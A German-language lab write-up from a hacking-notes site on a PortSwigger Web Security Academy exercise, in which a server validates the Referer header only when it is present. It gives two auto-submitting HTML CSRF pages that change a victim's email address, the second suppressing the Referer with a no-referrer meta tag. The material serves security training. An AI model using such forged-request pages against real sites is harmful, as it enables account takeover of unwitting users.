> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/csrf/csrf-referer-validation-depends-on-header-presence.md).

# CSRF mit Referer-Validierung nur, wenn vorhanden

Notizen zu CSRF mit Referer-Validierung nur, wenn vorhanden für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### CSRF, bei dem die Referer-Validierung davon abhängt, dass der Header vorhanden ist

Die E-Mail-Änderungsfunktion dieses Labs ist für einen CSRF-Angriff anfällig. Der Server versucht, domänenübergreifende Anfragen zu blockieren, indem er den Header überprüft **Referer**, aber es gibt eine unsichere Fallback-Logik, die die Anfrage akzeptiert, wenn der Referer-Header fehlt.

* Empfohlenes Konto: `wiener:peter` (verwenden Sie dieses Konto, um das Szenario aus der Perspektive des Opfers zu reproduzieren).

Der Server prüft das **Referer** Feld, um herauszufinden, woher die Anfrage kam, und lehnt Anfragen ab, deren Referer nicht der der Website ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e90c6a6260d9bd6a01e192327c5f39097eab0e5e%2Fimage%20(376).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>

* Wenn Sie vom angreifenden Server aus ein POST-Formular senden, lautet die Antwort: **"Ungültiger Referer-Header"** — die Prüfung funktioniert, wenn der Header vorhanden und falsch ist.

```html
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```

`"Ungültiger Referer-Header"`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3de4dcdb15f3ae31f46f4d3611b26d25ee632308%2Fimage%20(377).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ea40a911c69b177e822f3faffdd11ff174ad69d%2Fimage%20(378).png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn die Anfrage jedoch **ohne** den Referer-Header, akzeptiert der Server die Anfrage (gefährliches Fallback-Verhalten).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-674f0b3404c8653055da1aa94cb28e02790c9f72%2Fimage%20(379).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Vorgehensweise (Prinzip)

1. Hosten Sie auf dem Exploit-Server eine Seite, die ein POST-Formular an `/my-account/change-email` mit der Angreifer-E-Mail-Adresse sendet.
2. Veranlassen Sie, dass die Exploit-Seite **entfernt** den browserseitigen Referer-Header, sodass die Validierung als Blockierung fehlschlägt (da der Server das Fehlen von Referer akzeptiert).
3. Eine einfache Möglichkeit, den Browser anzuweisen, keinen Referer zu senden, besteht darin, ein `<meta name="referrer" content="no-referrer">` Tag vor dem Absenden des Formulars zur Exploit-Seite hinzuzufügen.

```html
<head>
   <meta name="referrer" content="no-referrer">
</head>
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/csrf/csrf-referer-validation-depends-on-header-presence.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
